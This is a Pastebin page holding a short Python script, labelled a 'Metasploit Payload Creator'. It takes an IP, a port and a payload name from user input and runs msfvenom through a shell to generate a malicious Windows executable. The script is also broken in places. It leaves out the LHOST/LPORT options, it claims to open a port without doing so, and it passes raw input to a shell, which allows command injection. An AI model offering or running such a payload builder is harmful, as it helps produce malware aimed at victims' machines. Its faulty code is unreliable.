Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import subprocess
- # Hash Bytes Metasploit Payload Creator!
- ip = str(input("Please enter your ip: "))
- port = str(input("Please enter your listening port: "))
- payload = str(input("Please enter your payload: "))
- dir = str(input("Please enter a directory with file name included at end: "))
- main = "msfvenom -p " + payload + " " + ip + " " + port + " -f exe > " + dir
- print("[!] Creating Payload...")
- subprocess.call(main,shell=True)
- print("[!] Opening Port...")
- k = input("payload created press enter to close")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement